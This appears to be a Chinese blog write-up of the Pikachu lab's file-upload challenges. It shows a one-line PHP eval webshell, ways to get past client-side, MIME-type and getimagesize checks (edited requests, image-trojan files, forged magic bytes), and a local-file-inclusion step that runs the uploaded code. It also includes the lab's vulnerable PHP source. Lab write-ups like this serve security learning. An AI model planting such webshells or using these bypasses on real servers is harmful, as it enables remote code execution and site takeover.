WebSec-Fileupload

1. Fileupload

场景:上传头像、上传附件等

在设计文件上传功能时,一定要对传进来的文件进行严格的安全检查。比如:

  • 验证文件类型、后缀名、大小;
  • 验证文件的上传方式;
  • 对文件进行一定复杂的重命名;
  • 不要暴露文件上传后的路径;
  • 权限控制,上传的文件夹不能有可执行权限。

2. 靶场练习

muma.php先准备好:

<?php eval($_GET["var"])?>

2.1 pikachu

一个前端检查,两个后端检查。

clientcheck

上传muma.php,弹窗提示文件不符合要求,但注意到弹窗时没有抓到包,所以检查下前端源码

<div id="usu_main">
    <p class="title">这里只允许上传图片o!</p>
    <form class="upload" method="post" enctype="multipart/form-data"  action="">
        <input class="uploadfile" type="file"  name="uploadfile" onchange="checkFileExt(this.value)"/><br />
        <input class="sub" type="submit" name="submit" value="开始上传" />
    </form>
</div>

<script>
    function checkFileExt(filename)
    {
        var flag = false; //状态
        var arr = ["jpg","png","gif"];
        //取出上传文件的扩展名
        var index = filename.lastIndexOf(".");
        var ext = filename.substr(index+1);
        //比较
        for(var i=0;i<arr.length;i++)
        {
            if(ext == arr[i])
            {
                flag = true; //一旦找到合适的,立即退出循环
                break;
            }
        }
        //条件判断
        if(!flag)
        {
            alert("上传的文件不符合要求,请重新选择!");
            location.reload(true);
        }
    }
</script>

前端对文件后缀做了检查,F12把onchange删掉就行了。

如提示所说:一切在前端做的安全措施都是不靠谱的

上传成功,并且前端还提示文件保存的路径为uploads/muma.php

访问/pk/vul/unsafeupload/uploads/muma.php?var=phpinfo();, phpinfo执行成功。

另一种方法是上传图片抓包后,把图片内容改成代码,并修改文件名:

POST /pk/vul/unsafeupload/clientcheck.php HTTP/1.1
...
Upgrade-Insecure-Requests: 1
...
-----------------------------77256803823675970682800536175

Content-Disposition: form-data; name="uploadfile"; filename="1.php"
Content-Type: image/jpeg


<?php eval($_GET["var"])?>
-----------------------------77256803823675970682800536175
Content-Disposition: form-data; name="submit"

总之,绕过前端的检查,要么改前端源码后上传恶意文件,要么上传正常文件抓包后改数据。

看下源码:

if(isset($_POST['submit'])){
//     var_dump($_FILES);
    $save_path='uploads';//指定在当前目录建立一个目录
    $upload=upload_client('uploadfile',$save_path);//调用函数
    if($upload['return']){
        $html.="<p class='notice'>文件上传成功</p><p class='notice'>文件保存的路径为:{$upload['new_path']}</p>";
    }else{
        $html.="<p class=notice>{$upload['error']}</p>";
    }
}

upload_client,服务端检查的源码,放到下一题。

MIME type

Multipurpose Internet Mail Extensions

即上一题抓的包里的Content-Type: image/jpeg

另外是php $_FILES二维数组的一些属性,https://www.php.net/manual/en/reserved.variables.files.php

这次前端没有做检查,先上传muma.php试试,返回提示"上传的图片只能是jpg,jpeg,png格式的!".

抓包修改Content-Typeimage/jpeg后,就上传成功了,但后缀并没有改,可以直接访问/pk/vul/unsafeupload/uploads/muma.php?var=phpinfo();, phpinfo执行成功。

看下源码:

if(isset($_POST['submit'])){
//     var_dump($_FILES);
    $mime=array('image/jpg','image/jpeg','image/png');//指定MIME类型,这里只是对MIME类型做了判断。
    $save_path='uploads';//指定在当前目录建立一个目录
    $upload=upload_sick('uploadfile',$mime,$save_path);//调用函数
    if($upload['return']){
        $html.="<p class='notice'>文件上传成功</p><p class='notice'>文件保存的路径为:{$upload['new_path']}</p>";
    }else{
        $html.="<p class=notice>{$upload['error']}</p>";
    }
}

//只通过MIME类型验证了一下图片类型,其他的无验证,upsafe_upload_check.php
function upload_sick($key,$mime,$save_path){
    $arr_errors=array(
        1=>'上传的文件超过了 php.ini中 upload_max_filesize 选项限制的值',
        2=>'上传文件的大小超过了 HTML 表单中 MAX_FILE_SIZE 选项指定的值',
        3=>'文件只有部分被上传',
        4=>'没有文件被上传',
        6=>'找不到临时文件夹',
        7=>'文件写入失败'
    );
    if(!isset($_FILES[$key]['error'])){
        $return_data['error']='请选择上传文件!';
        $return_data['return']=false;
        return $return_data;
    }
    if ($_FILES[$key]['error']!=0) {
        $return_data['error']=$arr_errors[$_FILES[$key]['error']];
        $return_data['return']=false;
        return $return_data;
    }
    //验证一下MIME类型
    if(!in_array($_FILES[$key]['type'], $mime)){
        $return_data['error']='上传的图片只能是jpg,jpeg,png格式的!';
        $return_data['return']=false;
        return $return_data;
    }
    //新建一个保存文件的目录
    if(!file_exists($save_path)){
        if(!mkdir($save_path,0777,true)){
            $return_data['error']='上传文件保存目录创建失败,请检查权限!';
            $return_data['return']=false;
            return $return_data;
        }
    }
    $save_path=rtrim($save_path,'/').'/';//给路径加个斜杠
    if(!move_uploaded_file($_FILES[$key]['tmp_name'],$save_path.$_FILES[$key]['name'])){
        $return_data['error']='临时文件移动失败,请检查权限!';
        $return_data['return']=false;
        return $return_data;
    }
    //如果以上都通过了,则返回这些值,存储的路径,新的文件名(不要暴露出去)
    $return_data['new_path']=$save_path.$_FILES[$key]['name'];
    $return_data['return']=true;
    return $return_data;
    
}

getimagesize

https://www.php.net/manual/en/function.getimagesize.php

这次会检查后缀,只改content type不行。改图片和content type,会返回“你上传的是个假图片,不要欺骗我!”。

如果出现warning date(), 可以在后端加一句date_default_timezone_set('UTC')

这种情况,就需要制作图片木马,再结合文件包含漏洞来利用。

上传个正常图片,然后在post包图片数据最后面加上一句话木马:

请添加图片描述

上传成功,发现文件名也改了:

文件保存的路径为:uploads/2021/12/23/26654161c457f2a178e503023349.jpg

和pikachu上本地文件包含漏洞一题对比一下url,修改filename。

pk/vul/unsafeupload/getimagesize.php
pk/vul/fileinclude/fi_local.php?filename=file1.php
-->
pk/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/2021/12/23/26654161c457f2a178e503023349.jpg

成功执行phpinfo()

请添加图片描述

也可以用windows的copy命令:

>copy /b 1.jpg+muma.php muma.jpg
1.jpg
muma.php
已复制         1 个文件。

或者伪造图片格式,一般是伪造开头几个magic字节:

jpg: FF D8 FF E0 00 10 4A 46 49 46    			      ÿØÿà..JFIF......
png: 89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52  .PNG........IHDR
gif: 47 49 46 38 39	61								  GIF89a

一般伪造gif,只编辑文本就可以。

GIF89a
<?php phpinfo(); ?>

保存为gif,上传失败,很奇怪。看网上的writeup是保存为jpg可以上传成功。后来看源码才知道检查后缀和mime并没有gif,,

请添加图片描述

实战中还是用真图片伪造比较好。

看下源码:

if(isset($_POST['submit'])){
    $type=array('jpg','jpeg','png');//指定类型  这里没有gif
    $mime=array('image/jpg','image/jpeg','image/png');
    $save_path='uploads'.date('/Y/m/d/');//根据当天日期生成一个文件夹
    $upload=upload('uploadfile','512000',$type,$mime,$save_path);//调用函数
    if($upload['return']){
        $html.="<p class='notice'>文件上传成功</p><p class='notice'>文件保存的路径为:{$upload['save_path']}</p>";
    }else{
        $html.="<p class=notice>{$upload['error']}</p>";

    }
}

//进行了严格的验证
function upload($key,$size,$type=array(),$mime=array(),$save_path){
    $arr_errors=array(
        1=>'上传的文件超过了 php.ini中 upload_max_filesize 选项限制的值',
        2=>'上传文件的大小超过了 HTML 表单中 MAX_FILE_SIZE 选项指定的值',
        3=>'文件只有部分被上传',
        4=>'没有文件被上传',
        6=>'找不到临时文件夹',
        7=>'文件写入失败'
    );
//     var_dump($_FILES);
    if(!isset($_FILES[$key]['error'])){
        $return_data['error']='请选择上传文件!';
        $return_data['return']=false;
        return $return_data;
    }
    if ($_FILES[$key]['error']!=0) {
        $return_data['error']=$arr_errors[$_FILES[$key]['error']];
        $return_data['return']=false;
        return $return_data;
    }
    //验证上传方式
    if(!is_uploaded_file($_FILES[$key]['tmp_name'])){
        $return_data['error']='您上传的文件不是通过 HTTP POST方式上传的!';
        $return_data['return']=false;
        return $return_data;
    }
    //获取后缀名,如果不存在后缀名,则将变量设置为空
    $arr_filename=pathinfo($_FILES[$key]['name']);
    if(!isset($arr_filename['extension'])){
        $arr_filename['extension']='';
    }
    //先验证后缀名
    if(!in_array(strtolower($arr_filename['extension']),$type)){//转换成小写,在比较
        $return_data['error']='上传文件的后缀名不能为空,且必须是'.implode(',',$type).'中的一个';
        $return_data['return']=false;
        return $return_data;
    }
    
    //验证MIME类型,MIME类型可以被绕过
    if(!in_array($_FILES[$key]['type'], $mime)){
        $return_data['error']='你上传的是个假图片,不要欺骗我xxx!';
        $return_data['return']=false;
        return $return_data;
    }
    //通过getimagesize来读取图片的属性,从而判断是不是真实的图片,还是可以被绕过的
    if(!getimagesize($_FILES[$key]['tmp_name'])){
        $return_data['error']='你上传的是个假图片,不要欺骗我!';
        $return_data['return']=false;
        return $return_data;
    }
    //验证大小
    if($_FILES[$key]['size']>$size){
        $return_data['error']='上传文件的大小不能超过'.$size.'byte(500kb)';
        $return_data['return']=false;
        return $return_data;
    }

    //把上传的文件给他搞一个新的路径存起来
    if(!file_exists($save_path)){
        if(!mkdir($save_path,0777,true)){
            $return_data['error']='上传文件保存目录创建失败,请检查权限!';
            $return_data['return']=false;
            return $return_data;
        }
    }
    //生成一个新的文件名,并将新的文件名和之前获取的扩展名合起来,形成文件名称
    $new_filename=str_replace('.','',uniqid(mt_rand(100000,999999),true));
    if($arr_filename['extension']!=''){
        $arr_filename['extension']=strtolower($arr_filename['extension']);//小写保存
        $new_filename.=".{$arr_filename['extension']}";
    }
    //将tmp目录里面的文件拷贝到指定目录下并使用新的名称
    $save_path=rtrim($save_path,'/').'/';
    if(!move_uploaded_file($_FILES[$key]['tmp_name'],$save_path.$new_filename)){
        $return_data['error']='临时文件移动失败,请检查权限!';
        $return_data['return']=false;
        return $return_data;
    }
    //如果以上都通过了,则返回这些值,存储的路径,新的文件名(不要暴露出去)
    $return_data['save_path']=$save_path.$new_filename;
    $return_data['filename']=$new_filename;
    $return_data['return']=true;
    return $return_data;
    }

    
?>
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值